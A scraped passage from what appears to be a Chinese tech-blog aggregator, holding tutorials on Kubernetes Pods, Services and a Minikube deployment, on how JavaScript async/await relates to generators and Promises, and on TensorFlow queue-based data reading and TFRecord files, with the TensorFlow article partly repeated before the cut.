    K8s為每個Pod都分配了唯一的IP地址,稱為Pod IP,一個Pod里的多個容器共享Pod IP地址。需要牢記的一點是:在 kubernetes 里,一個 Pod 里的容器與另外主機上的 Pod 容器能夠直接通信。

    Pod的創建流程

    當一個普通的Pod被創建,就會被放入etcd中存儲,隨後被 K8s Master節點調度到某個具體的Node上並進行綁定(Binding),隨後該Pod被對應的Node上的kubelet進程實例化成一組相關的Docker容器並啟動。

    當Pod中有容器停止時,K8s 會自動檢測到這個問題並重啟這個 Pod(Pod里所有容器);如果Pod所在的Node宕機,就會將這個Node上的所有Pod重新調度到其他節點上。

    細心的讀者是否發現:

    當Pod越來越多,Pod IP 也越來越多,那是如何從茫茫IP地址中找到需要的服務呢?換句話來說,是否有一種提供唯一入口的機制,來完成對Pod的訪問,而無需關心訪問到具體是哪個Pod(who care :happy:)?

    Kubernetes 提供了這種機制,稱之為 Service。

    Service概念

    Service服務是Kubernetes里的核心資源對象之一,從名稱上來看,理解其為一個”服務“也不為過,Service的作用是為相同標識的一系列Pod提供唯一的訪問地址。

    Service使用的唯一地址稱為ClusterIP,僅當在集群內的容器才能通過此IP訪問到Service

    它具體實現對一系列Pod綁定,需要再引入Label的概念,才能做出解答。

    Label概念

    Kubernetes 提供了Label(標籤)來對Pod、Service、RC、Node等進行標記。相當於打標籤,Label可以是一組KV鍵值對,也可以是一個set

    一個資源對象可以定義任意數量的Label,同一個Label可以添加到任意數量的資源對象上。通常由定義資源對象時添加,創建后亦可動態添加或刪除。

    Service如何動態綁定Pods?

    原來,在定義 Pod 時,設置一系列 Label 標籤,Service 創建時定義了 Label Selector(Label Selector 可以類比為對 Label 進行 SQL 的 where 查詢),kube-proxy 進程通過 Service的Label Selector 來選擇對應的 Pod,自動建立每個 Service 到對應 Pod 的請求轉發路由表,從而實現 Service 的智能負載均衡機制。

    小結:Pod是K8s最小的執行單元,包含一個Pause容器與多個業務容器,每個Pod中容器共享Pod IP,容器之間可直接作用Pod IP通信;Label是一種標籤,它將標籤打在Pod上時,Service可以通過定義Label Selector(Label查詢規則)來選擇Pod,具體實現路由表建立的是kube-proxy

    部署應用實踐(Minikube)

    安裝kubectl需要安裝成本地服務,這裡是debian10,更多參考https://developer.aliyun.com/mirror/kubernetes

    sudo su -
    apt-get update && apt-get install -y apt-transport-https
    curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | apt-key add - 
    cat <<EOF >/etc/apt/sources.list.d/kubernetes.list
    deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main
    EOF  
    apt-get update
    apt-get install -y kubelet kubectl
    exit
    

    下載安裝Minikube(阿里雲修改版):

    curl -Lo minikube-linux-amd64-1.11.0-aliyuncs http://kubernetes.oss-cn-hangzhou.aliyuncs.com/minikube/releases/v1.11.0/minikube-linux-amd64
    sudo install minikube-linux-amd64-1.11.0-aliyuncs /usr/local/bin/minikube
    

    使用魔改版是因為官方代碼里有些地方寫死了地址,而國內無法訪問

    部署k8s集群:

    minikube start --driver docker --image-repository registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version v1.18.3
    

    本地有docker時使用此driver,其他可選的虛擬化技術參考https://minikube.sigs.k8s.io/docs/drivers/ 選擇

    #部署一個Pod,Pod的deployment是一種默認的無狀態多備份的部署類型
    kubectl create deployment hello-minikube --image=registry.cn-hangzhou.aliyuncs.com/google_containers/echoserver:1.4
    #查看集群中當前的Pod列表
    kubectl get pods
    #創建的NodePort類型Service,將所有Node開放一個端口號,通過這個端口將流量轉發到Service以及下游Pods
    kubectl expose deployment hello-minikube --type=NodePort --port=8080
    #獲取暴露 Service 的 URL 以查看 Service 的詳細信息:
    minikube service hello-minikube --url
    #minikube提供的特色功能,直接通過瀏覽器打開剛才創建的Service的外部訪問地址
    minikube service hello-minikube
    

    自動打開瀏覽器訪問服務(Minikube特色功能)

    提示:這張圖中的request-uri的解釋是不正確的,但是與 <minikube這個唯一Node的IP>:<NodePort><Service的ClusterIP>:<ServicePort>都不是完全匹配的,不大理解這塊提示,有緣人希望可解我所惑,在此先行感謝

    查看Pod的描述信息

    kubectl describe pod hello-minikube
    

    最下方可以清楚得看到K8s集群default-scheduler成功指派我們要求的Pod在節點minikube上創建,kubelet收到信息后,拉取鏡像並啟動了容器

    部署流程原理簡述

    1. kubectl 發送創建 deployment 類型、名為hello-minikube的Pod 請求到 kube-apiserver
    2. kube-apiserver 將這條描述信息存到 etcd
    3. kube-scheduler 監控 etcd 得到描述信息,監測Node負載情況,創建Pod部署描述信息到etcd
    4. 待部署Node的kubelet監聽到 etcd 中有自己的部署Pod信息,取出信息並按圖拉取業務鏡像,創建pause容器與業務容器(此時集群外部無法訪問)
    5. kubectl 執行expose命令,同時將創建Service與NodePort信息存到etcd中
    6. 各節點kube-proxy監聽到etcd變化,創建邏輯上的Service與路由信息,開闢NodePort
    7. 當請求到達<任意Node節點IP>:<NodePort> 時,根據路由錶轉發到指定的Service上,負載均衡到Pod,提供服務

    集群外部訪問:

    參考

    • https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/
    • https://kubernetes.io/docs/concepts/services-networking/
    • https://minikube.sigs.k8s.io/docs/start/
    • https://minikube.sigs.k8s.io/docs/handbook/controls/
    • 《Kubernetes權威指南》第 4 版

    行文過程中難免出現錯誤,還請讀者評論幫忙改正,大家共同進步,在此感謝

    轉載請註明出處,文章中概念引入《Kubernetes權威指南》很多,侵權改。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    FB行銷專家,教你從零開始的技巧

  • async/await剖析

    async/await剖析

    JavaScript是單線程的,為了避免同步阻塞可能會帶來的一些負面影響,引入了異步非阻塞機制,而對於異步執行的解決方案從最早的回調函數,到ES6Promise對象以及Generator函數,每次都有所改進,但是卻又美中不足,他們都有額外的複雜性,都需要理解抽象的底層運行機制,直到在ES7中引入了async/await,他可以簡化使用多個Promise時的同步行為,在編程的時候甚至都不需要關心這個操作是否為異步操作。

    分析

    首先使用async/await執行一組異步操作,並不需要回調嵌套也不需要寫多個then方法,在使用上甚至覺得這本身就是一個同步操作,當然在正式使用上應該將await語句放置於 try...catch代碼塊中,因為await命令後面的Promise對象,運行結果可能是rejected

    function promise(){
        return new Promise((resolve, reject) => {
           var rand = Math.random() * 2; 
           setTimeout(() => resolve(rand), 1000);
        });
    }
    
    async function asyncFunct(){
        var r1 = await promise();
        console.log(1, r1);
        var r2 = await promise();
        console.log(2, r2);
        var r3 = await promise();
        console.log(3, r3);
    }
    
    asyncFunct();
    

    async/await實際上是Generator函數的語法糖,如Promises類似於結構化回調,async/await在實現上結合了Generator函數與Promise函數,下面使用Generator函數加Thunk函數的形式實現一個與上邊相同的例子,可以看到只是將async替換成了*放置在函數右端,並將await替換成了yield,所以說async/await實際上是Generator函數的語法糖,此處唯一不同的地方在於實現了一個流程的自動管理函數run,而async/await內置了執行器,關於這個例子的實現下邊會詳述。對比來看,asyncawait,比起*yield,語義更清楚,async表示函數里有異步操作,await表示緊跟在後面的表達式需要等待結果。

    function thunkFunct(index){
        return function f(funct){
            var rand = Math.random() * 2;
            setTimeout(() => funct(rand), 1000)
        }
    }
    
    function* generator(){ 
        var r1 = yield thunkFunct();
        console.log(1, r1);
        var r2 = yield thunkFunct();
        console.log(2, r2);
        var r3 = yield thunkFunct();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            // console.log(res.value);
            res.value(next);
        }
    
        next();
    }
    
    run(generator);
    

    實現

    async函數內置了執行器,能夠實現函數執行的自動流程管理,通過Generator yield ThunkGenerator yield Promise實現一個自動流程管理,只需要編寫Generator函數以及Thunk函數或者Promise對象並傳入自執行函數,就可以實現類似於async/await的效果。

    Generator yield Thunk

    自動流程管理run函數,首先需要知道在調用next()方法時,如果傳入了參數,那麼這個參數會傳給上一條執行的yield語句左邊的變量,在這個函數中,第一次執行next時並未傳遞參數,而且在第一個yield上邊也並不存在接收變量的語句,無需傳遞參數,接下來就是判斷是否執行完這個生成器函數,在這裏並沒有執行完,那麼將自定義的next函數傳入res.value中,這裏需要注意res.value是一個函數,可以在下邊的例子中將註釋的那一行執行,然後就可以看到這個值是f(funct){...},此時我們將自定義的next函數傳遞后,就將next的執行權限交予了f這個函數,在這個函數執行完異步任務后,會執行回調函數,在這個回調函數中會觸發生成器的下一個next方法,並且這個next方法是傳遞了參數的,上文提到傳入參數後會將其傳遞給上一條執行的yield語句左邊的變量,那麼在這一次執行中會將這個參數值傳遞給r1,然後在繼續執行next,不斷往複,直到生成器函數結束運行,這樣就實現了流程的自動管理。

    function thunkFunct(index){
        return function f(funct){
            var rand = Math.random() * 2;
            setTimeout(() => funct(rand), 1000)
        }
    }
    
    function* generator(){ 
        var r1 = yield thunkFunct();
        console.log(1, r1);
        var r2 = yield thunkFunct();
        console.log(2, r2);
        var r3 = yield thunkFunct();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            // console.log(res.value);
            res.value(next);
        }
    
        next();
    }
    
    run(generator);
    

    Generator yield Promise

    相對於使用Thunk函數來做流程自動管理,使用Promise來實現相對更加簡單,Promise實例能夠知道上一次回調什麼時候執行,通過then方法啟動下一個yield,不斷繼續執行,這樣就實現了流程的自動管理。

    function promise(){
        return new Promise((resolve,reject) => {
            var rand = Math.random() * 2;
            setTimeout( () => resolve(rand), 1000);
        })
    }
    
    function* generator(){ 
        var r1 = yield promise();
        console.log(1, r1);
        var r2 = yield promise();
        console.log(2, r2);
        var r3 = yield promise();
        console.log(3, r3);
    }
    
    function run(generator){
        var g = generator();
    
        var next = function(data){
            var res = g.next(data);
            if(res.done) return ;
            res.value.then(data => next(data));
        }
    
        next();
    }
    
    run(generator);
    
    // 比較完整的流程自動管理函數
    function promise(){
        return new Promise((resolve,reject) => {
            var rand = Math.random() * 2;
            setTimeout( () => resolve(rand), 1000);
        })
    }
    
    function* generator(){ 
        var r1 = yield promise();
        console.log(1, r1);
        var r2 = yield promise();
        console.log(2, r2);
        var r3 = yield promise();
        console.log(3, r3);
    }
    
    function run(generator){
        return new Promise((resolve, reject) => {
            var g = generator();
            
            var next = function(data){
                var res = null;
                try{
                    res = g.next(data);
                }catch(e){
                    return reject(e);
                }
                if(!res) return reject(null);
                if(res.done) return resolve(res.value);
                Promise.resolve(res.value).then(data => {
                    next(data);
                },(e) => {
                    throw new Error(e);
                });
            }
            
            next();
        })
       
    }
    
    run(generator).then( () => {
        console.log("Finish");
    });
    

    每日一題

    https://github.com/WindrunnerMax/EveryDay
    

    參考

    https://segmentfault.com/a/1190000007535316
    http://www.ruanyifeng.com/blog/2015/05/co.html
    http://www.ruanyifeng.com/blog/2015/05/async.html
    

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

  • Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

    Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

    內容概要:

    單一數據讀取方式:

      第一種:slice_input_producer()

    # 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
    [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

      第二種:string_input_producer()

    # 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
    file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

    reader = tf.WholeFileReader() # 定義文件讀取器
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

      !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

      !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

      !!!以上兩種方法都可以生成文件名隊列。

    (隨機)批量數據讀取方式:

    batchsize=2  # 每次讀取的樣本數量
    tf.train.batch(tensors, batch_size=batchsize)
    tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

      !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

     TFRecord文件的打包與讀取

     

     一、單一數據讀取方式

    第一種:slice_input_producer()

    def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

    案例1:

    import tensorflow as tf
    
    images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
    labels = [1, 2, 3, 4]
    
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    
    # 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)
    
    data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    print(type(data))   # <class 'list'>
    
    with tf.Session() as sess:
        # sess.run(tf.local_variables_initializer())
        sess.run(tf.local_variables_initializer())
        coord = tf.train.Coordinator()  # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器
    
        for i in range(10):
            print(sess.run(data))
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image3.jpg', 3]
    """

      !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

      !!!num_epochs設置

     

     第二種:string_input_producer()

    def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

    文件讀取器

      不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

      該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

    reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

    reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
    reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

     案例2:讀取csv文件

    iimport tensorflow as tf
    
    filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']
    
    file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    # reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
    print(type(file_queue))
    
    init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
    with tf.Session() as sess:
        sess.run(init)
        coord = tf.train.Coordinator()
        threads = tf.train.start_queue_runners(sess=sess, coord=coord)
        try:
            while not coord.should_stop():
                for i in range(6):
                    print(sess.run([key, value]))
                break
        except tf.errors.OutOfRangeError:
            print('read done')
        finally:
            coord.request_stop()
        coord.join(threads)
    
    """
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    運行結果:
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
    [b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
    [b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
    """
    """
    reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
    運行結果:
    [b'data/B.csv:1', b'4.jpg,4']
    [b'data/B.csv:2', b'5.jpg,5']
    [b'data/B.csv:3', b'6.jpg,6']
    [b'data/C.csv:1', b'7.jpg,7']
    [b'data/C.csv:2', b'8.jpg,8']
    [b'data/C.csv:3', b'9.jpg,9']
    """

    案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

    import tensorflow as tf
    
    filename = ['1.jpg', '2.jpg']
    filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
    reader = tf.WholeFileReader()              # 文件讀取器
    key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes
    
    with tf.Session() as sess:
        tf.local_variables_initializer().run()
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)
    
        for i in range(filename.__len__()):
            image_data = sess.run(value)
            with open('img_%d.jpg' % i, 'wb') as f:
                f.write(image_data)
        coord.request_stop()
        coord.join(threads)

     

     二、(隨機)批量數據讀取方式:

      功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

    案例4:slice_input_producer() 與 batch()

    import tensorflow as tf
    import numpy as np
    
    images = np.arange(20).reshape([10, 2])
    label = np.asarray(range(0, 10))
    images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
    label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果
    
    batchsize = 6   # 每次獲取元素的數量
    input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
    image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)
    
    # 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
    # image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)
    
    with tf.Session() as sess:
        coord = tf.train.Coordinator()      # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
        for cnt in range(2):
            print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
            image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
            print(image_batch_v, label_batch_v, label_batch_v.__len__())
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    第1次獲取數據,每次batch=6...
    [[ 0.  1.]
     [ 2.  3.]
     [ 4.  5.]
     [ 6.  7.]
     [ 8.  9.]
     [10. 11.]] [0 1 2 3 4 5] 6
    第2次獲取數據,每次batch=6...
    [[12. 13.]
     [14. 15.]
     [16. 17.]
     [18. 19.]
     [ 0.  1.]
     [ 2.  3.]] [6 7 8 9 0 1] 6
    """

     案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

     1 import tensorflow as tf
     2 import glob
     3 import cv2 as cv
     4 
     5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
     6     """
     7     從本地批量的讀取圖片
     8     :param filename: 圖片路徑(包括圖片的文件名),[]
     9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
    10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
    11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
    12     :return: batch_size張圖片數據, Tensor
    13     """
    14     global new_img
    15     # 創建文件隊列
    16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
    17     # 創建文件讀取器
    18     reader = tf.WholeFileReader()
    19     # 讀取文件隊列中的文件
    20     _, img_bytes = reader.read(file_queue)
    21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
    22     # 對圖片進行解碼
    23     if picture_format == ".bmp":
    24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
    25     elif picture_format == ".jpg":
    26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
    27     else:
    28         pass
    29     # 重新設置圖片的大小
    30     # new_img = tf.image.resize_images(new_img, input_image_shape)
    31     new_img = tf.reshape(new_img, input_image_shape)
    32     # 設置圖片的數據類型
    33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
    34 
    35     # return new_img
    36     return tf.train.batch([new_img], batch_size)
    37 
    38 
    39 def main():
    40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    42     print(type(image_batch))
    43     # image_path = glob.glob(r'.\*.jpg')
    44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
    45 
    46     sess = tf.Session()
    47     sess.run(tf.local_variables_initializer())
    48     tf.train.start_queue_runners(sess=sess)
    49 
    50     image_batch = sess.run(image_batch)
    51     print(type(image_batch))    # <class 'numpy.ndarray'>
    52 
    53     for i in range(image_batch.__len__()):
    54         cv.imshow("win_"+str(i), image_batch[i])
    55     cv.waitKey()
    56     cv.destroyAllWindows()
    57 
    58 def start():
    59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
    62 
    63 
    64     with tf.Session() as sess:
    65         sess.run(tf.local_variables_initializer())
    66         coord = tf.train.Coordinator()      # 線程的協調器
    67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    68         image_batch = sess.run(image_batch)
    69         print(type(image_batch))    # <class 'numpy.ndarray'>
    70 
    71         for i in range(image_batch.__len__()):
    72             cv.imshow("win_"+str(i), image_batch[i])
    73         cv.waitKey()
    74         cv.destroyAllWindows()
    75 
    76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
    77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
    78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
    79         coord.request_stop()
    80         coord.join(threads)
    81 
    82 
    83 if __name__ == "__main__":
    84     # main()
    85     start()

    從本地批量的讀取圖片案例

     

    案列6:TFRecord文件打包與讀取

     1 def write_TFRecord(filename, data, labels, is_shuffler=True):
     2     """
     3     將數據打包成TFRecord格式
     4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
     5     :param data: 需要打包的文件路徑名;list
     6     :param labels: 對應文件的標籤;list
     7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
     8     :return: None
     9     """
    10     im_data = list(data)
    11     im_labels = list(labels)
    12 
    13     index = [i for i in range(im_data.__len__())]
    14     if is_shuffler:
    15         np.random.shuffle(index)
    16 
    17     # 創建寫入器,然後使用該對象寫入樣本example
    18     writer = tf.python_io.TFRecordWriter(filename)
    19     for i in range(im_data.__len__()):
    20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
    21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
    22 
    23         # # 獲取當前的圖片數據  方式一:
    24         # data = cv2.imread(im_d)
    25         # # 創建樣本
    26         # ex = tf.train.Example(
    27         #     features=tf.train.Features(
    28         #         feature={
    29         #             "image": tf.train.Feature(
    30         #                 bytes_list=tf.train.BytesList(
    31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
    32         #             "label": tf.train.Feature(
    33         #                 int64_list=tf.train.Int64List(
    34         #                     value=[im_l])),
    35         #         }
    36         #     )
    37         # )
    38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
    39         data = tf.gfile.FastGFile(im_d, "rb").read()
    40         ex = tf.train.Example(
    41             features=tf.train.Features(
    42                 feature={
    43                     "image": tf.train.Feature(
    44                         bytes_list=tf.train.BytesList(
    45                             value=[data])), # 此時的data已經是bytes類型
    46                     "label": tf.train.Feature(
    47                         int64_list=tf.train.Int64List(
    48                             value=[im_l])),
    49                 }
    50             )
    51         )
    52 
    53         # 寫入將序列化之後的樣本
    54         writer.write(ex.SerializeToString())
    55     # 關閉寫入器
    56     writer.close()

    TFRecord文件打包案列

     

     1 import tensorflow as tf
     2 import cv2
     3 
     4 def read_TFRecord(file_list, batch_size=10):
     5     """
     6     讀取TFRecord文件
     7     :param file_list: 存放TFRecord的文件名,List
     8     :param batch_size: 每次讀取圖片的數量
     9     :return: 解析後圖片及對應的標籤
    10     """
    11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
    12     reader = tf.TFRecordReader()
    13     _, ex = reader.read(file_queue)
    14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
    15 
    16     feature = {
    17         'image': tf.FixedLenFeature([], tf.string),
    18         'label': tf.FixedLenFeature([], tf.int64)
    19     }
    20     example = tf.parse_example(batch, features=feature)
    21 
    22     images = tf.decode_raw(example['image'], tf.uint8)
    23     images = tf.reshape(images, [-1, 32, 32, 3])
    24 
    25     return images, example['label']
    26 
    27 
    28 
    29 def main():
    30     # filelist = ['data/train.tfrecord']
    31     filelist = ['data/test.tfrecord']
    32     images, labels = read_TFRecord(filelist, 2)
    33     with tf.Session() as sess:
    34         sess.run(tf.local_variables_initializer())
    35         coord = tf.train.Coordinator()
    36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    37 
    38         try:
    39             while not coord.should_stop():
    40                 for i in range(1):
    41                     image_bth, _ = sess.run([images, labels])
    42                     print(_)
    43 
    44                     cv2.imshow("image_0", image_bth[0])
    45                     cv2.imshow("image_1", image_bth[1])
    46                 break
    47         except tf.errors.OutOfRangeError:
    48             print('read done')
    49         finally:
    50             coord.request_stop()
    51         coord.join(threads)
    52         cv2.waitKey(0)
    53         cv2.destroyAllWindows()
    54 
    55 if __name__ == "__main__":
    56     main()

    TFReord文件的讀取案列

     

    ,

    內容概要:

    單一數據讀取方式:

      第一種:slice_input_producer()

    # 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
    [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

      第二種:string_input_producer()

    # 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
    file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

    reader = tf.WholeFileReader() # 定義文件讀取器
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

      !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

      !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

      !!!以上兩種方法都可以生成文件名隊列。

    (隨機)批量數據讀取方式:

    batchsize=2  # 每次讀取的樣本數量
    tf.train.batch(tensors, batch_size=batchsize)
    tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

      !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

     TFRecord文件的打包與讀取

     

     一、單一數據讀取方式

    第一種:slice_input_producer()

    def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

    案例1:

    import tensorflow as tf
    
    images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
    labels = [1, 2, 3, 4]
    
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    
    # 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
    # [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)
    
    data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
    print(type(data))   # <class 'list'>
    
    with tf.Session() as sess:
        # sess.run(tf.local_variables_initializer())
        sess.run(tf.local_variables_initializer())
        coord = tf.train.Coordinator()  # 線程的協調器
        threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器
    
        for i in range(10):
            print(sess.run(data))
    
        coord.request_stop()
        coord.join(threads)
    
    """
    運行結果:
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image1.jpg', 1]
    [b'image3.jpg', 3]
    [b'image4.jpg', 4]
    [b'image2.jpg', 2]
    [b'image3.jpg', 3]
    """

      !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

      !!!num_epochs設置

     

     第二種:string_input_producer()

    def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

    文件讀取器

      不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

      該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

    reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

    reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
    reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

     案例2:讀取csv文件

    iimport tensorflow as tf
    
    filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']
    
    file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
    reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
    # reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
    key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
    print(type(file_queue))
    
    init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
    with tf.Session() as sess:
        sess.run(init)
